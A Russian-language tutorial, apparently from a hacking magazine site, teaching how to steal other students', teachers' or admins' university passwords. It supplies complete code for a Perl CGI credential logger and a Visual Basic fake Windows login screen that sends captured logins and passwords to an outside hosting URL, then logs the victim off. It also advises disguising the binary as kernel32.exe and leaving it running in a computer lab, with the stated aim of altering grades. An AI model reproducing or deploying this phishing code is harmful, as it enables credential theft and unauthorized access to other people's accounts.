Если вы учитесь в каком-нибудь университете (институте, колледже и т.п.), то значит у вас есть собственный логин и пароль для работы на компе в компьютерном зале ( и для соединения с сервером ), и естественно время доступа и ваши действия записываются в логах. А так как совершенно не хочется быть эксматрикулированым, и тем более видеть небо в крупную клетку, то под своим логином приходится заниматься только законной деятельностью (типа читать on-line очередную лекцию по «Введение в инфосистемы» :)), что быстро надоедает, и руки тянутся сломать Пентагон/напакостить декану/исправить оценки (подчеркнуть нужное). Следовательно, нам нужен логин и пароль
другого студента (а лучше препода или админа). Можете конечно попытаться вытащить их из shadow, а можно просто сделать и поставить программу, эмулирующую стандартное приглашение входа в систему.



Рассмотрим по порядку
Во-первых, напишем скрипт на перле, который будет записывать поступающие логины и пароли ( Если лично Вам по какой-либо причине не нравится Perl, можете использовать PHP, ASP или C — это не суть столь важно)


#! /usr/local/bin/perl

$method=$ENV{‘REQUEST_METHOD’};
if($method eq «GET») {
$form_data=$ENV{‘QUERY_STRING’};
}
else {
read(STDIN,$form_data,$ENV{‘CONTENT_LENGTH’});
}
$form_data=~s/%(..)/pack(«C»,hex($1))/eg;
$form_data=~tr/+/ /;
@pairs=split(/&/,$form_data);
foreach $pair(@pairs) {
($name,$value)=split(/=/,$pair);
$FORM{$name}=$value;
}

$login=$FORM{‘login’};
$pass=$FORM{‘pass’};
open(F,»>>data.txt»);
print F «$login\n»;
print F «$pass\n»;
close(F);



Этот скрипт будет записывать данные в файл «data.txt», находящийся в той же директории, что и скрипт.
Теперь остаётся только зарегистрироваться на сайте, предлагающем бесплатный хостинг с cgi и perl поддержкой и разместить там свой скрипт. В результате URL вашего скрипта будет приблизительно такой: http://www.hosting.com/user/cgi-bin/spy.pl



Далее, приступим непосредственно к созданию программы-эмулятора. Так как в ней самым важным является внешний вид, то воспользуемся визуальным языком программирования, типа Visual Basic, Delphi, C++ Builder. Какой язык выбрать — это дело вкуса и имеющихся знаний. Я опишу создание эмулятора на Visual Basic.



Запускем VB, давим на File->New Project, выбираем Standard EXE и кликаем на OK. Давайте
переименуем форму Form1 во что-нибудь более осмысленное, типа frmMain. Далее, используя кнопки, текст боксы, картинки и лейблы (может конкретно в Вашем случае понадобиться и ещё что-либо), а также свой талант художника, разместите компоненты так, как на оригинале. У меня для Windows 2000 Pro вышло следующее:






То, что не очень похоже на оригинал — не беда. Практика показывает, что вместо Windows 2000 можно написать чуть ли не Linux Red Hat 6.1 — обыкновенный юзер, каковых в любом университете большинство, ничего не заметит, а если даже и заметит, то вряд ли побежит рассказывать об этом админу:)
Дадим следующие имена компонентам:
кнопка Ok — cmdOk
кнопка Cancel — cmdCancel
поле ввода имени — txtName
поле ввода пароля — txtPassword
И для кнопки cmdOk свойство Default поставьте в True
Для отсылки информации на сервер воспользуемся компонентом Microsoft Internet Transfer Control.(Если кто не знает, то Project->Components…, и там его отметите, нажмёте на Ok и он появится на Toolbox). Разместите его на форму, назовите Inet, свойство Protocol установите в 1-icDefault.
Далее, нам понадобиться ещё одна форма, которая будет выполнять роль фона. Назовём её frmBG, поставим свойство BorderStyle в 0-None, BackColor — &H00A56E3A&.
Ну вот, этап проектирования закончился, пора приступать к написанию кода.
Привожу его весь:


Для формы frmMain:



Private Declare Function ExitWindowsEx Lib «user32» (ByVal uFlags As _
Long, ByVal dwReserved As Long) As Long

Private Sub cmdOk_Click()
On Error GoTo er1
Dim s As Long
Dim login As String, pass As String
Dim address As String
login = txtName.Text
pass = txtPassword.Text
address = «http://www.hosting.com/user/cgi-bin/spy.pl?login=» & login & «&pass=» & pass

Inet.OpenURL (address)
s = ExitWindowsEx(EWX_LOGOFF, 0&)
End
Exit Sub
er1:
s = ExitWindowsEx(EWX_LOGOFF, 0&)
End
Exit Sub
End Sub

Private Sub cmdShutDown_Click()
Dim s As Long
s = ExitWindowsEx(EWX_LOGOFF, 0&)
End Sub

Private Sub Form_Deactivate()
Me.Show
End Sub

Private Sub Form_Load()
frmBG.Show
With frmBG
.Top = 0
.Left = 0
.Height = Screen.Height
.Width = Screen.Width
End With
frmMain.ZOrder 1
frmBG.ZOrder 0
End Sub

Private Sub Form_LostFocus()
frmMain.Show
End Sub

Private Sub Form_Terminate()
Dim s As Long
s = ExitWindowsEx(EWX_LOGOFF, 0&)
End Sub

Private Sub Form_Unload(Cancel As Integer)
Dim s As Long
s = ExitWindowsEx(EWX_LOGOFF, 0&)
End Sub

Private Sub txtName_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then
if (txtName.Text<>«»)and(txtPassword.Text<>«») then
cmdOk_Click
end if
End If
End Sub

Private Sub txtPassword_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then
if (txtName.Text<>«»)and(txtPassword.Text<>«») then
cmdOk_Click
end if
End If
End Sub



Для формы frmBG:



Private Sub Form_Click()
frmMain.SetFocus
End Sub

Private Sub Form_DblClick()
frmMain.SetFocus
End Sub



Ну вот и всё. Компилируйте программу, сохраняйте под каким-нибудь страшным именем вроде kernel32.exe, несите на университетскую машину, запускайте там её под своим логином и, оставляя работать (и естественно не делая Log Off) идите на лекцию по матану. В Ваше отсутствие приходит какой-нибудь юзер, набирает свой логин/пароль, нажимает Ok, и снова оказывается в том же окне входа, но уже оригинальном. Думая что произошла ошибка, он входит снова, уже успешно, и лезет в интернет читать анекдоты, так и не о чём не догадываясь.



Начало коллекции паролей сокурсников положено! Как говориться, собери их все, но только не забывай об осторожности.

Оставить мнение

Check Also

Атака NFCdrip использует NFC для передачи данных на сравнительно дальние дистанции

Исследователь продемонстрировал, что NFC можно использовать в преступных целях и на сравни…